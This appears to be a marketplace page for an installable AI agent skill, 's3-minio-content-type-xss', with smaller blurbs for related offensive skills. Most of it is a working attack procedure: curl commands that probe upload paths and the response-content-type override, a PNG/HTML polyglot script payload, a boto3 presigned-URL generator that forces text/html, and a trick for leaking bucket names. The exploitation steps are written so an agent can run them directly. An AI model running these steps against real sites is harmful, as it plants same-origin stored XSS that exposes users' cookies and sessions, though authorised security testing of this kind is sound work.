원클릭으로
s3-minio-content-type-xss
Exploit public bucket Content-Type override for stored XSS on target origin.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
메뉴
Exploit public bucket Content-Type override for stored XSS on target origin.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
Attack SAML SSO via XSW, signature strip, metadata extract.
Chain multiple vulns into critical impact attack paths.
Execute optimal kill chains for WordPress full compromise.
Escape Docker containers to host root via 5 techniques.
Catalog: 25 attacks, 18 WP, 8 CORS to match findings.
7-phase pentest pipeline from passive recon to exploitation.
| name | s3-minio-content-type-xss |
| description | Exploit public bucket Content-Type override for stored XSS on target origin. |
| version | 1.0.0 |
| author | uphiago |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, python3, awscli |
| metadata | {"tags":["recon","S3","MinIO","bucket","XSS","Content-Type","cloud","storage"],"category":"recon","related_skills":["hunt-xss","hunt-cloud-misconfig","firebase-supabase-attack","js-secrets-extraction"]} |
Exploit public cloud storage buckets (S3, MinIO, and compatible) by overriding the Content-Type response header via query parameters. When a target serves user-uploaded files from its own origin (e.g., cdn.target.com or target.com/uploads/), a successful override turns a stored HTML/JS payload into same-origin stored XSS — bypassing every upload-time validation the application performed.
?response-content-type= with a changed Content-Type.terminal tool with curl and python3.# Test if an object's Content-Type can be overridden (MinIO and compatible)
curl -skI "https://cdn.target.com/uploads/avatar123.png?response-content-type=text/html" | grep -i content-type
# If you get 'text/html', the override works — proceed to exploitation
# If you get 'Request specific response headers cannot be used for anonymous GET requests', it's S3 — use signed URL approach
Find uploaded objects served publicly:
# Check common upload paths
for path in /uploads/ /media/ /static/uploads/ /cdn/ /files/ /assets/img/ /storage/; do
curl -skI "https://target.com${path}" | grep -E "HTTP|Content-Type|x-amz"
done
# Look for S3/MinIO signatures in URLs
curl -sk "https://target.com/" | grep -oP '(?:s3\.|amazonaws\.|minio|storage\.googleapis)[^"'\''\s]{5,60}'
Append the query parameter and check the response:
OBJECT_URL="https://cdn.target.com/uploads/avatar123.png"
# Test override
curl -skI "${OBJECT_URL}?response-content-type=text/html" | grep -i content-type
Response interpretation:
| Response | Meaning | Action |
|---|---|---|
Content-Type: text/html | MinIO or compatible — override works anonymously | Go to Phase 3 |
Request specific response headers cannot be used for anonymous GET requests | AWS S3 — override requires signed request | Go to Phase 4 |
| No change in Content-Type | Override not supported | Check other query parameters or move on |
Upload a file containing an HTML/JS payload disguised as a valid image:
# Craft a polyglot file: valid PNG header + HTML payload
payload = b'\x89PNG\r\n\x1a\n' + b'<script>alert(document.domain)</script>'
Upload through the application's normal upload flow. The app validates the PNG header and accepts it. Then serve it:
# The browser renders the file as HTML, executing the script
curl -sk "https://cdn.target.com/uploads/evil.png?response-content-type=text/html"
Additional MinIO override parameters to test:
| Parameter | Header Overridden |
|---|---|
response-content-type | Content-Type |
response-content-disposition | Content-Disposition |
response-cache-control | Cache-Control |
response-content-encoding | Content-Encoding |
response-content-language | Content-Language |
S3 rejects anonymous overrides. Re-sign the request with your own AWS credentials:
import boto3
from botocore.client import Config
def generate_s3_xss_url(bucket, key, region, endpoint_url, content_type="text/html"):
s3 = boto3.client(
"s3",
region_name=region,
endpoint_url=endpoint_url,
config=Config(signature_version="s3v4", s3={"addressing_style": "virtual"}),
)
url = s3.generate_presigned_url(
"get_object",
Params={"Bucket": bucket, "Key": key, "ResponseContentType": content_type},
ExpiresIn=3600,
)
return url
# Usage: python3 s3_xss.py <bucket> <key> <region> <endpoint> [content-type]
# Example: python3 s3_xss.py target-bucket uploads/avatar.png us-east-1 https://s3.us-east-1.amazonaws.com text/html
If the bucket name is unknown, trigger a SignatureDoesNotMatch error by signing with a wrong host or region. The error response leaks the canonical request containing the real bucket host and region.
The XSS is same-origin only if the object URL is under the target's domain. Verify:
# Check if the object is served under the target's origin
echo "$OBJECT_URL" | grep -qE "^https?://(www\.)?target\.com" && echo "SAME-ORIGIN XSS" || echo "Cross-origin — lower impact"
# Confirm JavaScript execution context
# The payload runs with access to cookies, localStorage, and API endpoints on the target's origin
s3.amazonaws.com or a random storage domain, the XSS executes in an isolated origin with no access to the target's session.curl -skI "${URL}?response-content-type=text/html" returns Content-Type: text/html.hunt-xss — General XSS detection methodology and bypass tables.hunt-cloud-misconfig — Public bucket discovery and cloud storage misconfigurations.firebase-supabase-attack — Firebase/Supabase storage bucket exploitation.js-secrets-extraction — Finding bucket names and storage endpoints in JavaScript bundles.